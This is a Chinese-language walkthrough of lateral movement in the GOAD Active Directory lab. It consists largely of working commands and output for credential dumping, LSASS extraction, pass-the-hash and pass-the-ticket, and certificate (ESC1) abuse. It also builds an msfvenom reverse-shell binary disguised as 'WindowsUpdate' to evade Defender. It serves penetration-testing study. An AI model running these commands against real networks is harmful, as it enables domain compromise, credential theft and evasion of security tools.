提取凭据 secretsdump 1 impacket-secretsdump NORTH/jeor.mormont:'_L0ngCl@w_' @192 .168 .56 .22
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [*] Target system bootKey: 0x8365b0199c7e93bb5df067d35863c50d [*] Dumping local SAM hashes (uid: rid: lmhash: nthash)Administrator: 500 :aad3b435b51404eeaad3b435b51404ee :dbd13e1c4e338284ac4e9874f7de6ef4 :::Guest: 501 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount: 503 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount: 504 :aad3b435b51404eeaad3b435b51404ee : 4363 b6dc0c95588964884d7e1dfea1f7:::vagrant: 1000 :aad3b435b51404eeaad3b435b51404ee :e02bc503339d51f71d913c245d35b50b ::: [*] Dumping cached domain logon information (domain/username: hash)NORTH .SEVENKINGDOMS .LOCAL /sql_svc: $DCC2 $10240 NORTH .SEVENKINGDOMS .LOCAL /robb.stark: $DCC2 $10240 NORTH .SEVENKINGDOMS .LOCAL /brandon.stark: $DCC2 $10240 NORTH .SEVENKINGDOMS .LOCAL /vagrant: $DCC2 $10240 [*] Dumping LSA Secrets [*] $MACHINE .ACC NORTH \CASTELBLACK $: aes256-cts-hmac-sha1-96 : 35 ba116a62a152575f7b11fe76a35f83226006386d4694e905473837996b7b1aNORTH \CASTELBLACK $: aes128-cts-hmac-sha1-96 :cfd580cffd8942f3ee3c8fdfe2fb0edb NORTH \CASTELBLACK $: des-cbc-md5: 76 fd07a208b9454aNORTH \CASTELBLACK $: plain_password_hex: 6 f005e005e0032003800340065005d004b002d004b004800290021005b002b0058004400390023005c0058002c0072003d00200045002a00340060006c00700078007700430026004100270038002c0023004e005300740027004700490046002d003f00230059005300480038003b003e0051002f003d00360022005c0021004000610024005a00700067004b002c00410079004a00770057005c00480048006e0021006a003c0035004a00630022002c0045006b00240054004700440051004e004500650039003500280079006300360044005f002e0050006f005600600052002400260021004a004e0066005100NORTH \CASTELBLACK $: aad3b435b51404eeaad3b435b51404ee: 933458 ca9304a206f35e0c27396307dd::: [*] DPAPI_SYSTEM dpapi_machinekey: 0x7d5b057f8d176eb1570993bb919ebc56f4900403 dpapi_userkey: 0x8d33a963fde82ab56a5d09441f27be9876ebaf97 [*] NL $KM 0000 22 34 01 76 01 70 30 93 88 A7 6 B B2 87 43 59 69 "4.v.p0...k..CYi 0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A." ... 0020 14 CA D8 45 4 A F0 DB 72 D5 CF 3 B A1 ED 7 F 3 A 98 ...EJ ..r..;...: . 0030 CD 4 D D6 36 6 A 35 24 2 D A0 EB 0 F 8 E 3 F 52 81 C9 .M.6 j5$- ....?R..NL $KM : 223401760170309388 a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9 [*] _SC_MSSQL$SQLEXPRESS north.sevenkingdoms.local\sql_svc: YouWillNotKerboroast1ngMeeeeee [*] Cleaning up...
SAM 首先使用 secretdump 获取 SAM 哈希值:
1 2 3 4 5 6 [*] Dumping local SAM hashes (uid: rid: lmhash: nthash)Administrator: 500 :aad3b435b51404eeaad3b435b51404ee :dbd13e1c4e338284ac4e9874f7de6ef4 :::Guest: 501 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount: 503 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount: 504 :aad3b435b51404eeaad3b435b51404ee : 4363 b6dc0c95588964884d7e1dfea1f7:::vagrant: 1000 :aad3b435b51404eeaad3b435b51404ee :e02bc503339d51f71d913c245d35b50b :::
安全帐户管理器 (SAM) 是运行 Windows 操作系统的计算机上存在的数据库,用于存储本地计算机上用户的用户帐户和安全描述符。
SAM 数据库位于:C:\Windows\System32\config\SAM,并已挂载到注册表的 HKLM/SAM 项。
要解密数据,您需要位于 C:\Windows\System32\config\SYSTEM 的系统文件的内容,该文件在注册表 HKLM/SYSTEM 中可用。
SecretDump 获取 HKLM/SAM 和 HKLM/SYSTEM 的内容并对其进行解密。
导出 使用secretsdump.py直接查看,或者使用下面的方式保存
1 2 3 smbserver.py -smb2support share . # start a server to get the resultreg .py NORTH/jeor.mormont:'_L0ngCl@w_' @192.168 .56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.1\share' reg .py NORTH/jeor.mormont:'_L0ngCl@w_' @192.168 .56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
或者直接在 Windows 系统界面上
1 2 reg save HKLM\SAM c:\sam reg save HKLM\SYSTEM c:\system
使用secretsdump解密sam文件
1 secretsdump -sam SAM.save -system SYSTEM.save LOCAL
我们的结果如下
1 2 3 4 5 Administrator:500 :aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4::: user: Administrator RID : 500 LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty) NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)
密码复用
在渗透测试中,当你攻破了活动目录系统上的第一个目标后,你应该始终检查所有服务器上的本地帐户是否相同。
几乎所有安全意识不成熟的客户都会使用相同的镜像来构建所有服务器。这样做也会导致管理员账户和密码的复制。
这样做会导致网络中到处重复使用密码(如果想避免这种情况,应该使用 laps)。
利用 CrackMapExec 在整个网络中使用哈希传递 (PTH) 攻击来滥用密码重用的最佳方法之一。
1 crackmapexec smb 192.168 .56.10 - 22 - u Administrator - H 'dbd13e1c4e338284 ac4e9874 f7de6ef4' - - local- auth
由此可见,castelblack 服务器与其他服务器之间不存在密码重用情况。
但是,当一台计算机被提升为域控制器时,本地管理员密码就会被用作域管理员密码,因此我们可以进行的一项测试是尝试在本地管理员帐户和域控制器管理员帐户之间重用密码。
1 smb 192.168 .56.10 - 23 - u Administrator - H 'dbd13e1c4e338284 ac4e9874 f7de6ef4'
从 castelblack 的 sam 数据库中提取的本地管理员密码 NT 哈希与 north.sevenkingdoms.local 管理员 NT 哈希相同。
通过castelblack和winterfell之间密码的重复使用,我们获得了north.sevenkingdoms.local 的域管理员权限。
1 2 3 4 5 LM/NT/NTLM/NetNTLMv1/NetNTLMv2 有什么区别? LM:从 Windows Vista/Server 2008 开始,旧格式默认关闭 NT(又名 NTLM):位置 SAM 和 NTDS:用于哈希传递(我仍然经常使用通用术语 ntlm 来指代它) NTLMv1(又称 NetNTLMv1):用于客户端和服务器之间的质询/响应 -> 可能被破解或用于中继 NTLM 身份验证。 NTLMv2(又称 NetNTLMv2):与 NetNTLMv1 相同,但有所改进且更难破解 -> 可能被破解或用于中继 NTLM 数据包
LSA Local Security Authority 本地安全机构
缓存凭据机制
当一台 Windows 计算机加入域后:
用户使用域账户登录(如 NORTH\jeor.mormont)
系统会联系域控制器(DC)进行身份验证
同时 ,系统会将验证信息缓存在本地
当域控制器不可用时(网络断开、DC宕机),用户仍可用缓存的凭据登录
存储位置
1 2 3 C:\Windows\System 32\config\ ├── SECURITY └── SYSTEM
获取 kali启动smb服务器
1 impacket -smbserver -smb2support share /share -ip 192.168.56.107
导出注册表
1 2 3 4 5 6 7 8 9 10 impacket-reg NORTH/jeor.mormont:'_L0ngCl @w_'@192.168.56.22 save -keyName ' HKLM\SYSTEM' -o ' \\192.168 .56.107 \share' impacket-reg NORTH/jeor.mormont:' _L0ngCl@w_'@192.168.56.22 save -keyName ' HKLM\SECURITY' -o ' \\192.168 .56.107 \share' 但我这用reg显示权限不足,所以使用evil-winrm evil-winrm -i 192.168.56.22 -u jeor.mormont -p ' _L0ngCl@w_' reg save HKLM\S YSTEM C:\U sers\j eor.mormont\D ocuments\s ystem.save reg save HKLM\S ECURITY C:\U sers\j eor.mormont\D ocuments\s ecurity.save download security.save download system.save
离线提取内容
1 impacket-secretsdump -security security .save -system system .save LOCAL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ┌──(root㉿kali)-[/home/kali/GOAD/Lateral_move] └─ Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x8365b0199c7e93bb5df067d35863c50d [*] Dumping cached domain logon information (domain/username:hash) NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240 NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240 NORTH.SEVENKINGDOMS.LOCAL/brandon.stark:$DCC2$10240 NORTH.SEVENKINGDOMS.LOCAL/vagrant:$DCC2$10240 [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC:plain_password_hex:6f005e005e0032003800340065005d004b002d004b004800290021005b002b0058004400390023005c0058002c0072003d00200045002a00340060006c00700078007700430026004100270038 002c0023004e005300740027004700490046002d003f00230059005300480038003b003e0051002f003d00360022005c0021004000610024005a00700067004b002c00410079004a00770057005c00480048006e0021006a003c003500 4a00630022002c0045006b00240054004700440051004e004500650039003500280079006300360044005f002e0050006f005600600052002400260021004a004e0066005100 $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd [*] DPAPI_SYSTEM dpapi_machinekey:0x7d5b057f8d176eb1570993bb919ebc56f4900403 dpapi_userkey:0x8d33a963fde82ab56a5d09441f27be9876ebaf97 [*] NL$KM 0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi 0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."... 0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:. 0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R.. NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9 [*] _SC_MSSQL$SQLEXPRESS (Unknown User):YouWillNotKerboroast1ngMeeeeee [*] Cleaning up...
我们得到了很多信息
缓存的域凭据
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
我们得到了 DCC2(域缓存凭据版本 2),哈希值(hashcat 模式 2100)
这个哈希值不能用于PTH,必须破解。
这种哈希算法非常强大,破解难度也很大,所以除非密码非常弱,否则破解它需要很长时间。
机器帐户
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd
机器帐户是域上的有效帐户
机器帐户(此处castelblack$)加上我们刚刚检索到的哈希 NT 可用于查询 LDAP(机器账户默认拥有读取域信息的权限 )。
服务帐户凭据
_SC_MSSQL$SQLEXPRESS::YouWillNotKerboroast1ngMeeeeee
LSA横向
LSASS Local Security Authority Subsystem Service 本地安全认证子系统服务进程
存储内存中的运行时凭据 (登录会话的明文密码、票据、哈希),重启消失
获取 工具
https://github.com/login-securite/lsassy
1 2 导出 LSASS 进程几乎总是会触发目标计算机的杀毒软件警报。 因此需要使用免杀技术才能导出 lsass.exe 进程。
1 lsassy -d north.sevenkingdoms .local -u jeor.mormont -p '_L0ngCl@w_' 192.168 .56.22 -m comsvcs -v
然后,我们从 Lsass 进程中找出域的 NTLM 哈希值和 TGT。
测试
使用一个特权用户发起了与castelblack的连接。
1 xfreerdp3 /d:north.sevenkingdoms .local /u:catelyn.stark /p :robbsansabradonaryarickon /v:castelblack.north .sevenkingdoms .local /cert:ignore
重新转储
存在新的信息
LSASS横向 PsExec
上传可执行文件
创建一个服务来运行可执行文件
使用命名管道与服务进行通信。
协议:SMB
1 python psexec.py -hashes :cba36eccfd9d949c73bc73715364aff5 NORTH /catelyn.stark@192 .168.56 .11
PsExec 会被 Defender 直接标记,并且不能再与嵌入 impacket 的 RemCom 服务二进制文件一起使用,否则会引发警报并导致失败。
Impacket 提供了一个选项,允许使用 -file 选项更改 psexec 使用的服务。
通过创建自定义的psexec服务,可以绕过Defender防病毒软件并获得shell权限。
1 2 3 4 5 6 7 8 9 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.107 LPORT=4444 -f exe -o custom_service.exepython psexec.py -hashes :cba36eccfd9d949c73bc73715364aff5 \ NORTH/catelyn.stark@192.168.56.11 \ -file custom_service.exe \ -service-name "WindowsUpdate"
WmiExec
通过 WMI 创建新流程
创建文件以获取命令结果,使用 SMB 读取该文件并将其删除。
协议:DCERPC + SMB
1 impacket- wmiexec - hashes ':cba36eccfd9d949c73bc73715364 aff5' NORTH/catelyn.stark@192.168 .56.11
SmbExec
不会上传可执行文件
每次请求都创建一个服务
获取攻击者控制的共享文件夹或服务器上的命令结果(使用 -mode SERVER 参数)。
协议 SMB
1 impacket- smbexec - hashes ':cba36eccfd9d949c73bc73715364 aff5' NORTH/catelyn.stark@192.168 .56.11
AtExec
1 impacket-atexec -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11 whoami
DcomExec
伪 shell(通过 SMB 协议获取文件中的结果)
DCERPC + SMB 协议
1 impacket- dcomexec - hashes ':cba36eccfd9d949c73bc73715364 aff5' NORTH/catelyn.stark@192.168 .56.11
CME 1 crackmapexec smb 192.168.56.11 -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
默认情况下,cme 只检查 smb admin$ 是否可写。如果可写,cme 显示“pwned”。
执行 cme 时请使用 -x 选项,默认情况下使用 wmiexec impacket 方法。
winrm
1 evil-winrm -i 192.168 .56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'
RDP 1 xfreerdp3 /d:north.sevenkingdoms.local /u:catelyn.stark /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11
但会被限制,不允许无密码登入
要允许无需密码的远程桌面连接,必须启用受限管理员权限。
1 New-ItemProperty - Path "HKLM:\S ystem\C urrentControlSet\C ontrol\L sa" - Name DisableRestrictedAdmin - Value 0
在kali上操作
1 impacket- reg NORTH/catelyn.stark@192.168 .56.11 - hashes ':cba36eccfd9d949c73bc73715364 aff5' query - keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
DisableRestrictedAdmin 不存在 - 这意味着默认设置是禁用的
NoLmHash 值为 1 - 表示不存储 LM 哈希(安全设置)
disabledomaincreds 值为 0 - 允许使用域凭据
直接添加
1 impacket-reg NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
成功登录
完成后,删除创建的注册表项。
1 impacket-reg NORTH/catelyn.stark@192.168 .56 .11 -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'
TGT NT -> TGT -> 身份验证
1 impacket- getTGT - hashes ':cba36eccfd9d949c73bc73715364 aff5' north.sevenkingdoms.local/catelyn.stark
票据传递
1 2 export KRB5CCNAME =catelyn.stark.ccache impacket-wmiexec -k -no-pass north.sevenkingdoms.local/catelyn.stark@winterfell
还可以使用 lsassy 导出的票据,然后使用 impacket-ticketConverter
1 ticketConverter.py kirbi_ticket.kirbi ccache_ticket.ccache
证书 证书 -> NTLM 或 TGT
请求证书
1 certipy req -u khal.drogo@essos .local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos .local
使用 certipy,请求用户的 NTLM 哈希值以及 TGT。
1 certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
参考链接 impacket
https://www.synacktiv.com/publications/traces-of-windows-remote-command-execution.html
https://neil-fox.github.io/Impacket-usage-&-detection/
tips
https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets
https://www.thehacker.recipes/